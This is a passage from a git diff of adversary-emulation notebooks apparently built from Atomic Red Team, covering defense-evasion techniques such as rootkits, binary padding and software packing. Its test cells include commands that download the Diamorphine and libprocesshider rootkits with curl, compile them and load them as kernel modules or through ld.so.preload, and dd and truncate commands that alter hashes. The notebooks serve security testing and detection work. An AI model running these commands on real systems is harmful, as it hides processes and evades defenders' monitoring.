allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)" + "source": "# T1006 - Direct Volume Access\nAdversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)" }, { "cell_type": "markdown", - "id": "dcd92b24", + "id": "b01ea639", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fbd2f5f3", + "id": "5f496c55", "metadata": {}, "source": [ "### Atomic Test #1 - Read volume boot sector via DOS device path (PowerShell)", @@ -28,20 +28,20 @@ { "cell_type": "code", "execution_count": null, - "id": "3c6e1a62", + "id": "f24d9c29", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bbc1c8d9", + "id": "7404cc42", "metadata": {}, "source": "## Detection\nMonitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended." }, { "cell_type": "markdown", - "id": "a06e0183", + "id": "8e2019ea", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can use API calls associated with direct volume access to either see what activity and data is being passed through, or to influence how that API call functions.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -49,13 +49,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1009.ipynb b/playbook/tactics/defense-evasion/T1009.ipynb deleted file mode 100644 index 06d93004..00000000 --- a/playbook/tactics/defense-evasion/T1009.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "af1cad4b", - "metadata": {}, - "source": "# T1009 - Binary Padding\nAdversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n" - }, - { - "cell_type": "markdown", - "id": "7f2c184e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "6ac7e6ac", - "metadata": {}, - "source": "## Detection\nDepending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1014.ipynb b/playbook/tactics/defense-evasion/T1014.ipynb index 5f7ca1dd..f4d699a3 100644 --- a/playbook/tactics/defense-evasion/T1014.ipynb +++ b/playbook/tactics/defense-evasion/T1014.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "9e604207", + "id": "c1bbad62", "metadata": {}, "source": "# T1014 - Rootkit\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)" }, { "cell_type": "markdown", - "id": "4457119e", + "id": "e9b178ce", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5ab806b3", + "id": "13115050", "metadata": {}, "source": "### Atomic Test #1 - Loadable Kernel Module based Rootkit\nLoadable Kernel Module based Rootkit\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)\n\n##### Check Prereq Commands:\n```sh\nif [ -f PathToAtomicsFolder/T1014/bin/T1014.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo apt install make\nsudo apt install gcc\nif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi;\ncp PathToAtomicsFolder/T1014/src/Linux/* /tmp/T1014/\ncd /tmp/T1014; make\nmkdir PathToAtomicsFolder/T1014/bin\nmv /tmp/T1014/T1014.ko PathToAtomicsFolder/T1014/bin/T1014.ko\nrm -rf /tmp/T1014\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "874a418e", + "id": "fdc370ad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "caf325d5", + "id": "0d804018", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "893bde48", + "id": "1d6bfa6b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "49b34ba2", + "id": "af802691", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rmmod T1014\nsudo rm -rf PathToAtomicsFolder/T1014/bin\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2def5cf3", + "id": "7a1040a3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "30fe5acf", + "id": "55c0b0fb", "metadata": {}, - "source": "### Atomic Test #2 - Loadable Kernel Module based Rootkit\nLoadable Kernel Module based Rootkit\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)\n\n##### Check Prereq Commands:\n```sh\nif [ -f /lib/modules/$(uname -r)/T1014.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo apt install make\nsudo apt install gcc\nif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;\ncp PathToAtomicsFolder/T1014/src/Linux/* /tmp/T1014\ncd /tmp/T1014; make \nsudo cp /tmp/T1014/T1014.ko /lib/modules/$(uname -r)/\n[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014\nsudo depmod -a\n\n```" + "source": "### Atomic Test #2 - Loadable Kernel Module based Rootkit\nLoadable Kernel Module based Rootkit\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location (#{rootkit_source_path}/#{rootkit_name}.ko)\n\n##### Check Prereq Commands:\n```sh\nif [ -f /lib/modules/$(uname -r)/T1014.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo apt install make\nsudo apt install gcc\nif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;\ncp PathToAtomicsFolder/T1014/src/Linux/* /tmp/T1014\ncd /tmp/T1014; make \nsudo cp /tmp/T1014/T1014.ko /lib/modules/$(uname -r)/\n[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014\nsudo depmod -a\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ce45ecb", + "id": "5d53f237", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f44fdaca", + "id": "26eb84be", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -83,42 +83,42 @@ { "cell_type": "code", "execution_count": null, - "id": "c17fc9fc", + "id": "20c30e9c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1490f533", + "id": "1320f636", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo modprobe -r T1014\nsudo rm /lib/modules/$(uname -r)/T1014.ko\nsudo depmod -a\n```" }, { "cell_type": "code", "execution_count": null, - "id": "96b53be5", + "id": "bf7ec961", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "eafc4eb9", + "id": "96debc08", "metadata": {}, "source": "### Atomic Test #3 - dynamic-linker based rootkit (libprocesshider)\nUses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The preload library must exist on disk at specified location (#{library_path})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/local/lib/libprocesshider.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /tmp/atomic && cd /tmp/atomic\ncurl -sLO https://github.com/gianlucaborello/libprocesshider//archive/25e0587d6bf2137f8792dc83242b6b0e5a72b415.zip && unzip 25e0587d6bf2137f8792dc83242b6b0e5a72b415.zip && cd libprocesshider-25e0587d6bf2137f8792dc83242b6b0e5a72b415\nmake\ncp libprocesshider.so /usr/local/lib/libprocesshider.so\ncp /usr/bin/ping /usr/local/bin/evil_script.py\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95f6bb2d", + "id": "bf432644", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0d23c8bc", + "id": "11049bd8", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -128,42 +128,42 @@ { "cell_type": "code", "execution_count": null, - "id": "82145717", + "id": "54a626cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "8e4ea3d1", + "id": "f612e3c3", "metadata": {}, "source": "#### Cleanup: \n```sh\nsed -i \"\\:^/usr/local/lib/libprocesshider.so:d\" /etc/ld.so.preload\nrm -rf /usr/local/lib/libprocesshider.so /usr/local/bin/evil_script.py /tmp/atomic\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e4636309", + "id": "a1d56f69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "776c7019", + "id": "48c67489", "metadata": {}, - "source": "### Atomic Test #4 - Loadable Kernel Module based Rootkit (Diamorphine)\nLoads Diamorphine kernel module, which hides itself and a processes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)\n\n##### Check Prereq Commands:\n```sh\nif [ -f /lib/modules/$(uname -r)/diamorphine.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /tmp/atomic && cd /tmp/atomic\ncurl -sLO https://github.com/m0nad/Diamorphine//archive/898810523aa2033f582a4a5903ffe453334044f9.zip && unzip 898810523aa2033f582a4a5903ffe453334044f9.zip && cd Diamorphine-898810523aa2033f582a4a5903ffe453334044f9\nmake\nsudo cp diamorphine.ko /lib/modules/$(uname -r)/\nsudo depmod -a\n\n```" + "source": "### Atomic Test #4 - Loadable Kernel Module based Rootkit (Diamorphine)\nLoads Diamorphine kernel module, which hides itself and a processes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location (#{rootkit_name}.ko)\n\n##### Check Prereq Commands:\n```sh\nif [ -f /lib/modules/$(uname -r)/diamorphine.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nmkdir -p /tmp/atomic && cd /tmp/atomic\ncurl -sLO https://github.com/m0nad/Diamorphine//archive/898810523aa2033f582a4a5903ffe453334044f9.zip && unzip 898810523aa2033f582a4a5903ffe453334044f9.zip && cd Diamorphine-898810523aa2033f582a4a5903ffe453334044f9\nmake\nsudo cp diamorphine.ko /lib/modules/$(uname -r)/\nsudo depmod -a\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3f7ec9ca", + "id": "ebf016de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9462d34e", + "id": "fe0709d8", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -173,34 +173,34 @@ { "cell_type": "code", "execution_count": null, - "id": "74f6338b", + "id": "33fcf74c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "92f0b7d5", + "id": "65ec37c2", "metadata": {}, "source": "#### Cleanup: \n```sh\nkill -63 1\nsudo modprobe -r diamorphine\nsudo rm -rf /lib/modules/$(uname -r)/diamorphine.ko /tmp/atomic\nsudo depmod -a\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b8804805", + "id": "523f6f9f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1014 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "3270ad69", + "id": "39d8feb4", "metadata": {}, "source": "## Detection\nSome rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)" }, { "cell_type": "markdown", - "id": "a60f8bef", + "id": "59053cd4", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nThere is an opportunity to block an adversary's intended action and force them to reveal additional TTPs.\n#### Use Case\nA defender could remove admin access in an attempt to force an adversary to perform privilege escalation to install a rootkit.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -208,13 +208,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.001.ipynb b/playbook/tactics/defense-evasion/T1027.001.ipynb index 0385c952..f1729132 100644 --- a/playbook/tactics/defense-evasion/T1027.001.ipynb +++ b/playbook/tactics/defense-evasion/T1027.001.ipynb @@ -2,64 +2,109 @@ "cells": [ { "cell_type": "markdown", - "id": "d5d34064", + "id": "86a10b4c", "metadata": {}, "source": "# T1027.001 - Binary Padding\nAdversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) " }, { "cell_type": "markdown", - "id": "7342b9f6", + "id": "22fc7add", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dc2d5157", + "id": "2c2d2239", "metadata": {}, - "source": "### Atomic Test #1 - Pad Binary to Change Hash - Linux/macOS dd\nUses dd to add a zero to the binary to change the hash.\n\nUpon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `bash`!\n##### Description: The binary must exist on disk at specified location (#{file_to_pad})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/evil-binary ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncp /bin/ls /tmp/evil-binary\n\n```" + "source": "### Atomic Test #1 - Pad Binary to Change Hash - Linux/macOS dd\nUses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.\n\nUpon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The binary must exist on disk at specified location (#{file_to_pad})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/evil-binary ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncp /bin/ls /tmp/evil-binary\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "647f2132", + "id": "6454f787", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "44753cb4", + "id": "02b3c0e2", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ndd if=/dev/zero bs=1 count=1 >> /tmp/evil-binary\n```" + "```sh\ndd if=/dev/zero bs=1 count=1 >> /tmp/evil-binary #adds null bytes\ndd if=/dev/random bs=1 count=1 >> /tmp/evil-binary #adds high-quality random data\ndd if=/dev/urandom bs=1 count=1 >> /tmp/evil-binary #adds low-quality random data\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f7d5e740", + "id": "23392ea4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "112b6309", + "id": "f9af7bc4", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/evil-binary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "53ba6fb1", + "id": "21f0ed1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ecdfa193", + "id": "5a5c9bfb", + "metadata": {}, + "source": "### Atomic Test #2 - Pad Binary to Change Hash using truncate command - Linux/macOS\nUses truncate to add a byte to the binary to change the hash.\n\nUpon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: The binary must exist on disk at specified location (#{file_to_pad})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/evil-binary ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncp /bin/ls /tmp/evil-binary\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cbf9a3ca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027.001 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "e2b91296", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ntruncate -s +1 /tmp/evil-binary #adds a byte to the file size\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e8e44117", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "b2f1c821", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/evil-binary\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b2332d16", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1027.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b3aa35df", "metadata": {}, "source": "## Detection\nDepending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. " } @@ -67,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.002.ipynb b/playbook/tactics/defense-evasion/T1027.002.ipynb index 1fd7ed2d..e01f5b4d 100644 --- a/playbook/tactics/defense-evasion/T1027.002.ipynb +++ b/playbook/tactics/defense-evasion/T1027.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "24841322", + "id": "2c77f1c9", "metadata": {}, "source": "# T1027.002 - Software Packing\nAdversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) " }, { "cell_type": "markdown", - "id": "7d94c6e7", + "id": "bbb3d508", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "baecaf89", + "id": "2ea4a103", "metadata": {}, "source": [ "### Atomic Test #1 - Binary simply packed by UPX (linux)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e838987c", + "id": "99c75889", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a2522ad6", + "id": "74cc32b3", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/packed_bin\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f9d9d3f5", + "id": "3548041c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d6fce29f", + "id": "a2dbaa8b", "metadata": {}, "source": [ "### Atomic Test #2 - Binary packed by UPX, with modified headers (linux)", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "579932b9", + "id": "682b4fad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "399dfcd3", + "id": "f1b44e37", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/packed_bin\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f7f783a", + "id": "586531be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f4b4f667", + "id": "18fbc379", "metadata": {}, "source": [ "### Atomic Test #3 - Binary simply packed by UPX", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "705a6b73", + "id": "94478734", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c91dff27", + "id": "8f6bd71d", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/packed_bin\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b39298e5", + "id": "600fedff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d1f5b1cb", + "id": "14bc3d1d", "metadata": {}, "source": [ "### Atomic Test #4 - Binary packed by UPX, with modified headers", @@ -129,28 +129,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b47ff542", + "id": "c109832b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "35b9dc2e", + "id": "26422b02", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/packed_bin\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc3061e6", + "id": "c1a6286b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "0368af09", + "id": "0ed8267a", "metadata": {}, "source": "## Detection\nUse file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code." } @@ -158,13 +158,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.003.ipynb b/playbook/tactics/defense-evasion/T1027.003.ipynb index 5e44927c..bf80d79b 100644 --- a/playbook/tactics/defense-evasion/T1027.003.ipynb +++ b/playbook/tactics/defense-evasion/T1027.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "15de0e6b", + "id": "f619322b", "metadata": {}, "source": "# T1027.003 - Steganography\nAdversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) " }, { "cell_type": "markdown", - "id": "049b05f6", + "id": "3e1d5875", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e29d3d83", + "id": "82735f5e", "metadata": {}, "source": "## Detection\nDetection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.004.ipynb b/playbook/tactics/defense-evasion/T1027.004.ipynb index c79f39ae..a235215b 100644 --- a/playbook/tactics/defense-evasion/T1027.004.ipynb +++ b/playbook/tactics/defense-evasion/T1027.004.ipynb @@ -2,188 +2,188 @@ "cells": [ { "cell_type": "markdown", - "id": "a7081051", + "id": "05b94493", "metadata": {}, "source": "# T1027.004 - Compile After Delivery\nAdversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or 